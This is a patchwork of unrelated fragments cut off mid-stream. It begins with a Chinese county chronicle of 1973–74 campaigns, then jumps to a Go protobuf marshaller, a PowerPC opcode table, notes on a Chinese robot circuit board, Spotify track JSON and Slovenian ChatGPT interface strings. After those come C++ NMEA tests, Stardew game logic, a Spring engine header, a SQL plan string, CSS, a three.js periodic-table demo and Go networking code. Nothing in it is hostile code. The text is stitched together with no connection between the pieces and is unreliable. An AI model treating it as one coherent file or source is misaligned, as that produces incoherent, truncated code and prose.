   9月24日，县委召开三届四次全会扩大会议，会期11天，与会人员共1520人，会议听取我县出席中共“十大”代表梁运禧传达“十大”盛况和马玉林书记传达广西区党委三届六次全会扩大会议关于“十大”精神的报告，结合本县实际，部署贯彻“十大”会议精神和农村开展社会主义教育运动，深入开展批林整风。

   1974年

   4月2日，县委转发中共中央中发（1974）1、2号文件，号召全县干部党员带头学习，传达贯彻文件精神，积极带领群众开展批林批孔运动，发动群众用现身说法的办法，控诉“孔孟之道”的流毒，要求人人上台批判，写批判文章，联系实际，挖其“代理人”，特别是要通过讲“家史”、“村史”、“阶级斗争血泪史”，联系广西韦祖珍极力宣扬《571工程纪要》中的“国民经济停滞不前”、“农民缺吃少穿”的反党罪行的实际，进行揭发，做到批深批透，肃清其流毒。在运动中，刘圩公社168个生产队全部建立了“阶级斗争教育墙头帐”，把贫下中农在旧社会的苦，新社会的甜，都写成文章，制成表格张贴出来，所谓把贫下中农的亲与仇、爱与恨、苦与甜一桩桩，一件件的写在墙头，记在心头。说是批林批孔有材料，阶级教育有内容，路线分析有对比。

   9月25日，广西日报记者“采访”邕宁后，发表了邕宁县八年大革命，十个“翻一番”的文章，总结了邕宁县所谓经过“文化大革命”和批林批孔运动的“翻番”事例。

   12月26日，陈永贵副总理、大寨大队党支部郭凤莲、南垴大队党支部副书记赵二苟等人到我县检查农业学大寨情况，为迎接陈副总理、郭凤莲等人的到来，全县上下、男女老少齐动手，掀起深耕改土、平整土地


9d, 0xbf, 0x7f, 0xe7,
	0x32, 0xcc, 0x95, 0x72, 0x92, 0xf0, 0x08, 0xbe, 0x05, 0x92, 0xc7, 0xec, 0x5d, 0xc4, 0x81, 0x32,
	0xe0, 0xc6, 0x19, 0x3b, 0x8c, 0x6b, 0x36, 0xe1, 0xec, 0x57, 0x2b, 0x6d, 0xd4, 0x24, 0xee, 0x88,
	0x37, 0x98, 0x07, 0xd0, 0x01, 0x72, 0xbb, 0x46, 0x65, 0xc8, 0x9b, 0x4d, 0xad, 0x7a, 0xd1, 0xd6,
	0x66, 0xd1, 0xd6, 0xe5, 0x86, 0xe1, 0x48, 0xcc, 0xf7, 0xdb, 0x1f, 0x9a, 0xe0, 0x76, 0xc7, 0xe0,
	0x0b, 0x20, 0xf9, 0x11, 0x8a, 0x33, 0xa6, 0x67, 0xa4, 0x0b, 0xa6, 0x5c, 0xcf, 0x3a, 0x65, 0x18,
	0x9b, 0xc5, 0x8b, 0xf3, 0xc0, 0xf8, 0xda, 0x07, 0xe3, 0x56, 0xd6, 0x15, 0xa1, 0xf8, 0x7f, 0xf8,
	0xba, 0x6d, 0x96, 0xf8, 0x2f, 0xcd, 0x1a, 0xfc, 0xbd, 0x59, 0xc3, 0x1d, 0x66, 0x7d, 0xd9, 0xfa,
	0x99, 0x99, 0x57, 0xaf, 0x3f, 0x51, 0x9c, 0x95, 0x31, 0xc9, 0xe0, 0x31, 0x90, 0xf1, 0x26, 0x69,
	0xee, 0x55, 0x07, 0xfc, 0xa1, 0x3b, 0xcf, 0xb7, 0xd4, 0x30, 0x77, 0xe4, 0x56, 0x80, 0x73, 0x76,
	0x57, 0xa9, 0xc2, 0x7d, 0xa5, 0x0a, 0x3f, 0x2b, 0x55, 0xb8, 0x5d, 0xab, 0xbd, 0xfb, 0xb5, 0xda,
	0xfb, 0xb6, 0x56, 0x7b, 0x1f, 0x66, 0x61, 0x4c, 0xa3, 0xa5, 0x67, 0xf9, 0x24, 0xb5, 0x7d, 0x92,
	0x62, 0xea, 0x5d, 0xd3, 0x2e, 0xa8, 0x5f, 0x95, 0x87, 0x2f, 0x89, 0x37, 0xe4, 0xf8, 0xec, 0x57,
	0x00, 0x00, 0x00, 0xff, 0xff, 0xe6, 0x22, 0x5b, 0x0b, 0xae, 0x04, 0x00, 0x00,
}

func (m *CanonicalBlockID) Marshal() (dAtA []byte, err error) {
	size := m.Size()
	dAtA = make([]byte, size)
	n, err := m.MarshalToSizedBuffer(dAtA[:size])
	if err != nil {
		return nil, err
	}
	return dAtA[:n], nil
}

func (m *CanonicalBlockID) MarshalTo(dAtA []byte) (int, error) {
	size := m.Size()
	return m.MarshalToSizedBuffer(dAtA[:size])
}

func (m *CanonicalBlockID) MarshalToSizedBuffer(dAtA []byte) (int, error) {
	i := len(dAtA)
	_ = i
	var l int
	_ = l
	{
		size, err := m.PartSetHeader.MarshalToSizedBuffer(dAtA[:i])
		if err != nil {
			return 0, err
		}
		i -= size
		i = encodeVarintCanonical(dAtA, i, uint64(size))
	}
	i--
	dAtA[i] = 0x12
	if


RRR",
  [644] = "evfsabsRR", [645] = "evfsnabsRR", [646] = "evfsnegRR",
  [648] = "evfsmulRRR", [649] = "evfsdivRRR",
  [652] = "evfscmpgtYRR", [653] = "evfscmpltYRR", [654] = "evfscmpeqYRR",
  [656] = "evfscfuiR-R", [657] = "evfscfsiR-R",
  [658] = "evfscfufR-R", [659] = "evfscfsfR-R",
  [660] = "evfsctuiR-R", [661] = "evfsctsiR-R",
  [662] = "evfsctufR-R", [663] = "evfsctsfR-R",
  [664] = "evfsctuizR-R", [666] = "evfsctsizR-R",
  [668] = "evfststgtYRR", [669] = "evfststltYRR", [670] = "evfststeqYRR",

  [704] = "efsaddRRR", [705] = "efssubRRR",
  [708] = "efsabsRR", [709] = "efsnabsRR", [710] = "efsnegRR",
  [712] = "efsmulRRR", [713] = "efsdivRRR",
  [716] = "efscmpgtYRR", [717] = "efscmpltYRR", [718] = "efscmpeqYRR",
  [719] = "efscfdR-R",
  [720] = "efscfuiR-R", [721] = "efscfsiR-R",
  [722] = "efscfufR-R", [723] = "efscfsfR-R",
  [724] = "efsctuiR-R", [725] = "efsctsiR-R",
  [726] = "efsctufR-R", [727] = "efsctsfR-R",
  [728] = "efsctuizR-R", [730] = "efsctsizR-R",
  [732] = "efststgtYRR", [733] = "efststltYRR", [734] = "efststeqYRR",

  [736] = "efdaddRRR", [737] = "efdsubRRR",
  [738] = "efdcfuidR-R", [739] = "efdcfsidR-R",
  [740] = "efdabsRR", [741] = "efdnabsRR", [742] = "efdnegRR",
  [744] = "efdmulRRR", [745] = "efddivRRR",
  [746] = "efdctuidzR-R", [747] = "efdctsidzR-R",
  [748] = "efdcmpgtYRR", [749] = "efdcmpltYRR", [750] = "efdcmpeqYRR",
  [751] = "efdcfsR-R",
  [752] = "efdcfuiR-R", [753] = "efdcfsiR-R",
  [754] = "efdcfufR-R", [755] = "efdcfsfR-R",
  [756] = "efdctuiR-R", [757] = "efdctsiR-R",
  [758] = "efdctufR-R", [759] = "efdctsfR-R",
  [760] = "efdctuizR-R", [762] = "efdctsizR-R",
  [764] = "efdtstgtYRR", [765] = "efdtstltYRR", [766] = "efdtsteqYRR",

  [768] = "evlddxRR0R", [769] = "evlddRR8",
  [770] =


8F%A3%E9%80%9A%E4%BF%A1)。

RS-232 通信电路是采用 TTL 转 232 电平的芯片，将单片机的 TTL 转换为 RS-232 电平。为提高 EMC 性能，DB9 座子外壳连接引脚可对地接 TVS 二极管，TTL 转 232 芯片需要外加电源去耦与自举电容。

### 蜂鸣器电路

蜂鸣器电路选用的是 12V 蜂鸣器，用一个三极管即可控制。

### 用户按键与 LED

用户按键与 LED 原理可参考 RobotCtrl_Core，此处不多赘述。

### 姿态传感器模块

直接贴装 MPU6050 模块使用，预留 I2C 接口与单片机进行通信。I2C 通信的原理可参考文章 [**通信协议 - I2C**](https://wiki-power.com/%E9%80%9A%E4%BF%A1%E5%8D%8F%E8%AE%AE-I2C) 与 [**HAL 库开发笔记 - I2C 通信（MPU6050）**](https://wiki-power.com/HAL%E5%BA%93%E5%BC%80%E5%8F%91%E7%AC%94%E8%AE%B0-I2C%E9%80%9A%E4%BF%A1%EF%BC%88MPU6050%EF%BC%89)。

### 红外测距传感器接口

四路红外测距传感器接口电路因红外传感器使用的是 12V 供电与信号（NPN 常开型），所以从 RobotCtrl_Power 引出 12V 为其供电，并加上四路光耦隔离芯片，以传输高低电平信号。光耦隔离电路的设计，需要根据电流的大小，计算限流电阻的阻值，确保在数据手册规定的触发电压范围内即可。光电耦合器的原理可以参考文章 [**基本元器件 - 光电耦合器**](https://wiki-power.com/%E5%9F%BA%E6%9C%AC%E5%85%83%E5%99%A8%E4%BB%B6-%E5%85%89%E7%94%B5%E8%80%A6%E5%90%88%E5%99%A8)。

### 电源输入接口与 B2B 连接器

外设拓展板的电源输入接口为 4 个排针，用于与底部的电源供电板相连接。B2B 连接器用于为主控板供电及数据通信。

## 硬件测试

### 电源测试

电源输入（以下测试项目都需按照此操作连接电源）：

- VCC_12V：通过 P1 输入。
- VCC_5V：通过 P2 或 J1_1/2 输入。
- GND：通过 P3、P4、J1_31/32 或 J2_30/31 与外界共地。

5V 转 3.3V 稳�


, "title": "Hypnotize"}, {"artist_uri": "spotify:artist:3aBmASYphRgGqvYlaZaL3G", "audio": "https://p.scdn.co/mp3-preview/ef8499f25f6fc97c2132e75b3bf2bacf1b532d66", "uri": "spotify:track:7pb5n1ilZuhPIeMZiqRR09", "artist_name": "Tim Dog", "title": "I Ain't Takin No Shorts"}, {"artist_uri": "spotify:artist:2ZbWlThDW0qSbI3hinpl0w", "audio": "https://p.scdn.co/mp3-preview/967e9c4892d065f5baa13d5516dc15cbc20ed66f", "uri": "spotify:track:57xgbwnedyE9iRfbjoifGe", "artist_name": "MC Lyte", "title": "I Am The Lyte"}, {"artist_uri": "spotify:artist:20qISvAhX20dpIbOOzGK3q", "audio": "https://p.scdn.co/mp3-preview/93c03926d797dede55ca14ff493a460ec41a52b3", "uri": "spotify:track:2NPxL1QqPrD1a7OLHjVcAP", "artist_name": "Nas", "title": "I Can"}, {"artist_uri": "spotify:artist:2gINJ8xw86xawPyGvx1bla", "audio": "https://p.scdn.co/mp3-preview/f709657c6bec50da9862a659454ab9f8b586a795", "uri": "spotify:track:0dupEkAq7v5mTay6lJBvRx", "artist_name": "KRS-One", "title": "I Can't Wake Up"}, {"artist_uri": "spotify:artist:5n30a5V4ftXNMHCHChmK2h", "audio": "https://p.scdn.co/mp3-preview/1fdfb21a69236e8f93d86a1aba12d6e636580842", "uri": "spotify:track:5P7D3rzpyuiWwEg6cUs2mY", "artist_name": "Young MC", "title": "I Come Off"}, {"artist_uri": "spotify:artist:5n30a5V4ftXNMHCHChmK2h", "audio": "https://p.scdn.co/mp3-preview/314cfbc772e0c9d070577116795936bd27788310", "uri": "spotify:track:6YBOFDlOnCPX5FZXj3Nlhx", "artist_name": "Young MC", "title": "I Come Off / Bust A Move (Live)"}, {"artist_uri": "spotify:artist:7nW3rZPhwZWlGPZgdDiJea", "audio": "https://p.scdn.co/mp3-preview/87f0c5b3a5164ac61cc49c6b56e21aae8d40b3ea", "uri": "spotify:track:26p4fZR37BjXmXO3J3hIeU", "artist_name": "Ugly Duckling", "title": "I Did It Like This"}, {"artist_uri": "spotify:artist:5kvKCMJiea6nOYEWdE0kWf", "audio": "https://p.scdn.co/mp3-preview/42b9d0099123d11ba2c9fc6d75bf478dda04b0b5", "uri": "spotify:track:6jgT2XDcHEaweFq7ZPdIMJ", "artist_name": "DMX feat. MGK", "title": "I Don't Dance"}, {"artist_uri": "spotify:


uporabe</termsLink> ne strinjate, lahko izbrišete svoj račun. Te posodobitve bodo začele veljati 15. februarja 2024.<faqLink>Več o tem</faqLink>.","PrivacyPolicyUpdateBanner.content.exeea":"Posodobili smo svoje <termsLink>pogoje uporabe</termsLink> in <privacyPolicyLink>politiko zasebnosti</privacyPolicyLink>, ki veljajo od 31. januarja 2024. Če še naprej uporabljate naše storitve, se strinjate s temi posodobljenimi pogoji. <faqLink>Več o tem</faqLink>","PrivacyPolicyUpdateBanner.dismiss":"Ne strinjam se","PrivacyPolicyUpdateBanner.title.eea.0":"Posodobili smo svoje pogoje uporabe in politiko zasebnosti","PrivacyPolicyUpdateBanner.title.exeea":"Posodobili smo svoje pogoje uporabe in politiko zasebnosti","PromptFilePicker.attachFiles":"Priloži datoteke","PromptFilePicker.attachImages":"Priložite slike","PromptFilePicker.errorFileTooLarge":"Vaša datoteka je prevelika. Največja velikost datoteke je {size} MB","PromptFilePicker.errorTooManyFiles":"Naenkrat lahko naložite toliko datotek: {maxNum}.","PromptTextarea.continueGenerating":"Nadaljuj z ustvarjanjem","PromptTextarea.continueSharedConversationPlaceholder":"Za nadaljevanje pogovora pošljite sporočilo.","PromptTextarea.disabledFeedbackPlaceholder":"Za nadaljevanje izberite odgovor","PromptTextarea.disallowedByWorkspaceReason":"Lastnik vašega delovnega prostora ni odobril tega GPT-ja.","PromptTextarea.errorGeneratingResponse":"Pri ustvarjanju odziva je prišlo do napake","PromptTextarea.gizmoKnowledgeWarning":"Tukaj naložene datoteke se lahko vključijo v pogovore z vašim GPT-jem. Datoteke je mogoče prenesti, če je omogočena funkcija tolmač kod (Code Interpreter).","PromptTextarea.loading":"Nalaganje ...","PromptTextarea.noModelsAvailablePlaceholder":"Modelov ni na voljo","PromptTextarea.noTestGizmoId":"Najprej določite svoj GPT.","PromptTextarea.placeholder":"Napišite sporočilo","PromptTextarea.placeholderWithName":"Sporočilo {name}","PromptTextarea.regenerateResponse":"Ustvari znova","PromptTextarea.requiresPluginsToBeInstalled":"Zahteva namestitev vtičnikov","PromptTextarea.sendMessageTooltip":"Pošlji sporočilo","PromptTextarea.stopGenerating":"Ustavi ustvarjanje","PromptTextarea.suggestionTooltip":"Klikni za pošiljanje","PromptTextarea.unsupportedFileType":"Nalaganje z vrsto datoteke \xbb{file_type}\xab ni podprto, poskusite z drugo datoteko.","PSnRGf":"Tip avtentikacije","pSXBWQ":"Samo za povabljence","pVmQs6":"<title>Izboljšaj mojo objavo</title>za zaposlitev prodajalca v trgovini","PvNRKc":"<title>Priporoči jed,</title>ki se lahko prinese na skupinsko kosilo","q9XNZ7":"Dostop","Qalmv5":"Dovolite, da se vaša vsebina uporablja za usposabljanje naših modelov, zaradi česar bo ChatGPT boljši za vas in vse, ki ga uporabljajo. Uveljavljamo ukrepe za zaščito vaše


st_nmea_vlw, properties)
{
	nmea_sentence_traits<nmea::vlw>();
}

TEST_F(test_nmea_vlw, parse)
{
	auto s = nmea::make_sentence("$IIVLW,7803.2,N,0.00,N*43");
	ASSERT_NE(nullptr, s);

	auto vlw = nmea::sentence_cast<nmea::vlw>(s);
	ASSERT_NE(nullptr, vlw);

	auto distance = vlw->get_distance_cum();
	EXPECT_TRUE(distance.has_value());
	EXPECT_NEAR(7803.2, distance->get<units::nautical_miles>().value(), 1e-8);
}

TEST_F(test_nmea_vlw, parse_invalid_number_of_arguments)
{
	EXPECT_ANY_THROW(
		nmea::detail::factory::sentence_parse<nmea::vlw>(nmea::talker::none, {3, "@"}));
	EXPECT_ANY_THROW(
		nmea::detail::factory::sentence_parse<nmea::vlw>(nmea::talker::none, {5, "@"}));
}

TEST_F(test_nmea_vlw, empty_to_string)
{
	nmea::vlw vlw;

	EXPECT_STREQ("$IIVLW,,,,*4D", nmea::to_string(vlw).c_str());
}

TEST_F(test_nmea_vlw, set_distance_cum_nm)
{
	nmea::vlw vlw;
	vlw.set_distance_cum_nm(units::nautical_miles{123.4});

	EXPECT_STREQ("$IIVLW,123.4,N,,*29", nmea::to_string(vlw).c_str());
}

TEST_F(test_nmea_vlw, set_distance_reset_nm)
{
	nmea::vlw vlw;
	vlw.set_distance_reset_nm(units::nautical_miles{12.4});

	EXPECT_STREQ("$IIVLW,,,12.4,N*1A", nmea::to_string(vlw).c_str());
}
}
#include <marnav/nmea/pgrme.hpp>
#include "type_traits_helper.hpp"
#include <marnav/nmea/nmea.hpp>
#include <gtest/gtest.h>

namespace
{
using namespace marnav;

class test_nmea_pgrme : public ::testing::Test
{
};

TEST_F(test_nmea_pgrme, contruction)
{
	nmea::pgrme pgrme;
}

TEST_F(test_nmea_pgrme, properties)
{
	nmea_sentence_traits<nmea::pgrme>();
}

TEST_F(test_nmea_pgrme, parse)
{
	auto s = nmea::make_sentence("$PGRME,1.1,M,2.2,M,3.3,M*2E");
	ASSERT_NE(nullptr, s);

	auto pgrme = nmea::sentence_cast<nmea::pgrme>(s);
	ASSERT_NE(nullptr, pgrme);
}

TEST_F(test_nmea_pgrme, parse_invalid_number_of_arguments)
{
	EXPECT_ANY_THROW(
		nmea::detail::factory::sentence_parse<nmea::pgrme>(nmea::talker::none, {5, "@"}));
	EXPECT_ANY_THROW(
		nmea::detail::factory::sentence_


import math
from typing import Union

from .base_logic import BaseLogicMixin, BaseLogic
from .received_logic import ReceivedLogicMixin
from .region_logic import RegionLogicMixin
from .time_logic import TimeLogicMixin
from .tool_logic import ToolLogicMixin
from ..content.feature.friendsanity import pet_heart_item_name
from ..stardew_rule import StardewRule, True_
from ..strings.region_names import Region

class PetLogicMixin(BaseLogicMixin):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.pet = PetLogic(*args, **kwargs)

class PetLogic(BaseLogic[Union[RegionLogicMixin, ReceivedLogicMixin, TimeLogicMixin, ToolLogicMixin]]):
    def has_pet_hearts(self, hearts: int = 1) -> StardewRule:
        assert hearts >= 0, "You can't have negative hearts with a pet."
        if hearts == 0:
            return True_()

        if self.content.features.friendsanity.is_pet_randomized:
            return self.received_pet_hearts(hearts)

        return self.can_befriend_pet(hearts)

    def received_pet_hearts(self, hearts: int) -> StardewRule:
        return self.logic.received(pet_heart_item_name,
                                   math.ceil(hearts / self.content.features.friendsanity.heart_size))

    def can_befriend_pet(self, hearts: int) -> StardewRule:
        assert hearts >= 0, "You can't have negative hearts with a pet."
        if hearts == 0:
            return True_()

        points = hearts * 200
        points_per_month = 12 * 14
        points_per_water_month = 18 * 14
        farm_rule = self.logic.region.can_reach(Region.farm)
        time_with_water_rule = self.logic.tool.can_water(0) & self.logic.time.has_lived_months(points // points_per_water_month)
        time_without_water_rule = self.logic.time.has_lived_months(points // points_per_month)
        time_rule = time_with_water_rule | time_without_water_rule
        return farm_rule & time_rule


/* This file is part of the Spring engine (GPL v2 or later), see LICENSE.html */

#ifndef ASS_IO_H
#define ASS_IO_H

#include "lib/assimp/include/assimp/IOStream.hpp"
#include "lib/assimp/include/assimp/IOSystem.hpp"
class CFileHandler;

// Custom implementation of Assimp IOStream to support Spring's VFS
// Required because Assimp models often need to load textures from other files

class AssVFSStream : public Assimp::IOStream
{
	friend class AssVFSSystem;
	CFileHandler* file;

protected:
	// Constructor protected for private usage by AssVFSSystem
	AssVFSStream(const std::string& pFile, const std::string& pMode);

public:
	~AssVFSStream();
	size_t Read( void* pvBuffer, size_t pSize, size_t pCount) override;
	size_t Write( const void* pvBuffer, size_t pSize, size_t pCount) override;
	aiReturn Seek( size_t pOffset, aiOrigin pOrigin) override;
	size_t Tell() const override;
	size_t FileSize() const override;
	void Flush() override;
};

// Spring VFS Filesystem Wrapper for Assimp

class AssVFSSystem : public Assimp::IOSystem
{
public:
	AssVFSSystem() { }
	~AssVFSSystem() { }

	// Check whether a specific file exists
	bool Exists( const char* pFile) const override;

	// Get the path delimiter character we'd like to get
	char getOsSeparator() const override;

	// open a custom stream
	Assimp::IOStream* Open( const char* pFile, const char* pMode  = "rb" ) override;

	void Close( Assimp::IOStream* pFile) override;
};

#endif // ASS_IO_H


                       │   │   │       └─ TableAlias(nhmxw)\n" +
			"         │   │   │       │       │                       │   │   │           └─ Table\n" +
			"         │   │   │       │       │                       │   │   │               ├─ name: WGSDC\n" +
			"         │   │   │       │       │                       │   │   │               ├─ columns: [id nohhr]\n" +
			"         │   │   │       │       │                       │   │   │               ├─ colSet: (32-41)\n" +
			"         │   │   │       │       │                       │   │   │               └─ tableId: 6\n" +
			"         │   │   │       │       │                       │   │   └─ TableAlias(cpmfe)\n" +
			"         │   │   │       │       │                       │   │       └─ IndexedTableAccess(E2I7U)\n" +
			"         │   │   │       │       │                       │   │           ├─ index: [E2I7U.ZH72S]\n" +
			"         │   │   │       │       │                       │   │           ├─ keys: [nhmxw.NOHHR:11!null]\n" +
			"         │   │   │       │       │                       │   │           ├─ colSet: (42-58)\n" +
			"         │   │   │       │       │                       │   │           ├─ tableId: 7\n" +
			"         │   │   │       │       │                       │   │           └─ Table\n" +
			"         │   │   │       │       │                       │   │               ├─ name: E2I7U\n" +
			"         │   │   │       │       │                       │   │               └─ columns: [id tw55n zh72s]\n" +
			"         │   │   │       │       │                       │   └─ TableAlias(yqif4)\n" +
			"         │   │   │       │       │                       │       └─ IndexedTableAccess(NOXN3)\n" +
			"         │   │   │       │       │                       │           ├─ index: [NOXN3.FFTBJ]\n" +
			"         │   │   │       │       │                       │           ├─ keys: [ism.UJ6XY:1!null]\n" +
			"         │   │   │       │       │                       │           ├─ colSet: (59-68)\n" +
			"         │   │   │       │       │                       │           ├─ tableId: 8\n" +
			"         │   │   │       │       │                       │           └─ Table\n" +
			"         │   │   │       │       │                       │               ├─ name: NOXN3\n" +
			"         │   │   │       │       │                       │               └─ columns: [id brqp2 fftbj]\n" +
			"         │   │   │       │       │                       └─ TableAlia


S28.446 29.167 25 29.167s-6.25 -2.804 -6.25 -6.25z"></path></svg>');
}
body:not(.minimal-icons-off) svg.open-elsewhere-glyph {
  -webkit-mask-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 100 100"><path fill="black" d="M83.333 12.5H16.667C12.071 12.5 8.333 16.238 8.333 20.833v58.333c0 4.596 3.738 8.333 8.333 8.333h20.833v-8.333H16.667V29.167h66.667v50h-20.833v8.333h20.833c4.596 0 8.333 -3.738 8.333 -8.333V20.833C91.667 16.238 87.929 12.5 83.333 12.5z M54.167 87.5L54.167 66.667 66.667 66.667 50 45.833 33.333 66.667 45.833 66.667 45.833 87.5z"></path></svg>');
}
body:not(.minimal-icons-off) svg.paper-plane-glyph {
  -webkit-mask-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 100 100"><path fill="black" d="M85.679 13.917c-1.217 -0.829 -2.779 -0.954 -4.121 -0.329l-70.833 33.333C9.246 47.621 8.313 49.117 8.333 50.75c0.025 1.633 1 3.104 2.5 3.758L33.333 64.354v28.008l24.317 -17.367l19.85 8.683c0.533 0.238 1.104 0.35 1.667 0.35c0.754 0 1.5 -0.204 2.167 -0.608c1.158 -0.704 1.904 -1.929 1.996 -3.283l4.167 -62.5C87.588 16.163 86.9 14.75 85.679 13.917zM75.404 73.667l-21.954 -9.608L66.667 38.196l-31.871 17.708l-12.217 -5.346L78.708 24.142L75.404 73.667z"></path></svg>');
}
body:not(.minimal-icons-off) svg.paste-text {
  -webkit-mask-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 100 100"><path fill="black" d="M83.333 45.833V20.833c0 -4.596 -3.738 -8.333 -8.333 -8.333h-12.5a4.167 4.167 0 0 0 -4.167 -4.167H33.333a4.167 4.167 0 0 0 -4.167 4.167H16.667c-4.596 0 -8.333 3.738 -8.333 8.333v54.167c0 4.596 3.738 8.333 8.333 8.333h29.167c0 4.596 3.738 8.333 8.333 8.333h29.167c4.596 0 8.333 -3.738 8.333 -8.333v-29.167c0 -4.596 -3.738 -8.333 -8.333 -8.333zm-37.5 8.333v20.833H16.667V20.833h12.5v8.333h33.333V20.833h12.5v25h-20.833c-4.596 0 -8.333 3.738 -8.333 8.333zm8.333 29.167v-29.167h29.167l0.004 29.167H54.167z"></path></svg>');
}
body:not(.minimal-icons-off) s


7,
				"Fl", "Flerovium", "(289)", 14, 7,
				"Uup", "Ununpentium", "(288)", 15, 7,
				"Lv", "Livermorium", "(293)", 16, 7,
				"Uus", "Ununseptium", "(294)", 17, 7,
				"Uuo", "Ununoctium", "(294)", 18, 7
			];

			var controls;

			var objects = [];
			var targets = {
				table: [],
				sphere: [],
				helix: [],
				grid: []
			};

			init();

			function init() {
				camera.position.z = 3000;
				for(var i = 0; i < table.length; i += 5) {
					let canvas = document.createElement("canvas");
					canvas.width = canvasW;
					canvas.height = canvasH;
					let ctx = canvas.getContext("2d");
					ctx.imageSmoothingEnabled = true;
					if(window.devicePixelRatio) {
						canvas.height = canvasH * window.devicePixelRatio;
						canvas.width = canvasW * window.devicePixelRatio;
						ctx.scale(window.devicePixelRatio, window.devicePixelRatio);
					}
					ctx.fillStyle = bgColor;
					ctx.fillRect(0, 0, canvasW, canvasH);
					ctx.textAlign = "center";

					ctx.font = "normal" + " " + indexNum + "px " + family;
					ctx.fillStyle = wordColor;
					let width = ctx.measureText(((i / 5) + 1) + "").width;
					ctx.fillText(((i / 5) + 1) + "", canvasW * 0.82, 60);

					ctx.font = "bold" + " " + symbolSize + "px " + family;
					ctx.fillStyle = wordColor;
					width = ctx.measureText(table[i]).width;
					ctx.fillText(table[i], canvasW * 0.5, 240);

					ctx.font = "normal" + " " + indexNum + "px " + family;
					ctx.fillStyle = wordColor;
					width = ctx.measureText(table[i+1]).width;
					ctx.fillText(table[i+1], canvasW * 0.5, 315);

					ctx.font = "normal" + " " + indexNum + "px " + family;
					ctx.fillStyle = wordColor;
					width = ctx.measureText(table[i+2]).width;
					ctx.fillText(table[i+2], canvasW * 0.5, 365);

					let texture = new THREE.CanvasTexture(canvas);
					texture.generateMipmaps = false;
					texture.minFilter = THREE.LinearFilter;
					texture.magFilter = THREE.LinearFilter;
					let geometry = new THREE.PlaneBufferGeometry(canvasW * scale, canvasH * scale, 2);
					let material = new THREE.MeshBasicMaterial({
						color: 0xffffff,
						map: texture,
						transparent: true,
						side: THREE.DoubleSide
					});
					var object = new THREE.Mesh(geometry, material);

					object.position.x = Math.random() * 4000 - 2000;
					object.position.y = Math.random() * 4000 - 2000;
					object.position.z = Math.random() * 4000 - 2000;
					scene.add(object);
					objects.push(


display: flex;
  align-items: center;
  gap: 1rem;
}

.md-search {
  display: flex;
  align-items: center;
}

.md-header__topic {
  display: flex;
  gap: 1.25rem;
  align-items: center;
}

.md-custom-header,
.md-header__title {
  display: flex;
  justify-content: space-between;
  align-items: center;
  font-size: 18px;
}

.md-custom-header-right {
  display: flex;
  align-items: center;
  gap: 1rem;
  margin-left: 20px;
  margin-right: 20px;
}

.md-custom-header-right .md-nav__link:hover {
  color: white;
}

.feature-list {
  font-size: 1rem;
  margin: auto;
  margin-bottom: 30px;
  max-width: 600px;
}

@media screen and (max-width: 60em) {
  .feature-list {
    font-size: 0.8rem;
  }

  .md-custom-header-right {
    margin-left: 0;
    margin-right: 0;
  }

  .icon-discord,
  .icon-github {
    margin-right: 1rem;
  }

  .icon-discord {
    width: 25px;
    height: 25px;
  }

  .icon-github {
    width: 20px;
    height: 20px;
  }

  .md-header__button {
    margin-left: 0;
  }

  [dir=ltr] .md-header__title {
    margin-left: 0;
    margin-right: 0;
  }
}body {
  margin: 0;
  background-color: black;
}

header {
  margin: 0 auto;
  padding: 10px 0;
  min-width: 300px;
  width: 50%;
}

/********** Range Input Styles **********/
/*Range Reset*/
input {
  -webkit-appearance: none;
  appearance: none;
  background: transparent;
  cursor: pointer;
  width: 100%;
  padding: 10px 0;
}

/* Removes default focus */
input:focus {
  outline: none;
}

/***** Chrome, Safari, Opera and Edge Chromium styles *****/
/* slider track */
input::-webkit-slider-runnable-track {
  background-color: #4a4a4a;
  border-radius: 0.5rem;
  height: 0.3rem;
  margin-top: 1.2rem;
}

/* slider thumb */
input::-webkit-slider-thumb {
  -webkit-appearance: none;
  /* Override default look */
  appearance: none;
  margin-top: -9px;
  /* Centers thumb on the track */

  /*custom styles*/
  background-color: #e5e5e5;
  height: 1.4rem;
  width: 1.4rem;
  border-radius: 1rem;
  border: none;
}

#camera1::-webkit-slider-runnable-track {
  background-color: #223165;
}

#camera1::-webkit-slider-thumb {
  background-color: #4967c9;
}

#camera2::-webkit-slider-runnable-track {
  background-color: #5c2424;
}

#camera2::-webkit-slider-thumb {
  background-color: #c44b4b;
}

/******** Firefox styles ********/
/* slider track */
input::-moz-range-track {
  border-radius: 0.5rem;
  height: 0.3rem;
  opacity: 0.5;
}

/* slider thumb */
input::-moz-range-thumb {
  height: 1.4rem;
  width: 1.4rem;
  border-radius: 1rem;
  border: none;
}

#camera2::-moz-range-track,
#camera2::-moz-range-thumb {
  background-color: #c44b4b;
}

#camera1::-moz-range-track,
#camer


.Context, params Params) error
}

func RunForever(ctx context.Context, srv Service, params Params) {
	logctx.Infoln(ctx, "starting address discovery service")
	retry.Retry(ctx, func() error {
		return srv.Run(ctx, params)
	}, retry.WithPredicate(func(err error) bool {
		logctx.Errorln(ctx, "error in address discovery service", err)
		return true
	}))
	logctx.Infoln(ctx, "stopped address discovery service")
}

func DisableAddRemove[T p2p.Addr](x peers.Store[T]) peers.Store[T] {
	return fixedStore[T]{x}
}

type fixedStore[T p2p.Addr] struct {
	peers.Store[T]
}

func (s fixedStore[T]) Add(x inet256.Addr) {}

func (s fixedStore[T]) Remove(x inet256.Addr) {}

func ParseAddrs(ap AddrParser, xs []string) (ret []multiswarm.Addr, _ error) {
	for i := range xs {
		y, err := ap([]byte(xs[i]))
		if err != nil {
			return nil, err
		}
		ret = append(ret, y)
	}
	return ret, nil
}

func MarshalAddrs(xs []multiswarm.Addr) (ret []string) {
	for i := range xs {
		data, err := xs[i].MarshalText()
		if err != nil {
			panic(err)
		}
		ret = append(ret, string(data))
	}
	return ret
}
package inet256http

import (
	"context"
	"errors"
	"net"
	"net/http"
	"testing"

	"github.com/stretchr/testify/require"
	"golang.org/x/sync/errgroup"

	"go.inet256.org/inet256/src/inet256"
	"go.inet256.org/inet256/src/inet256mem"
	"go.inet256.org/inet256/src/inet256tests"
)

var ctx = context.Background()

func TestOpen(t *testing.T) {
	s := NewServer(inet256mem.New())
	l, err := net.Listen("tcp", "127.0.0.1:")
	require.NoError(t, err)
	defer l.Close()
	eg := errgroup.Group{}
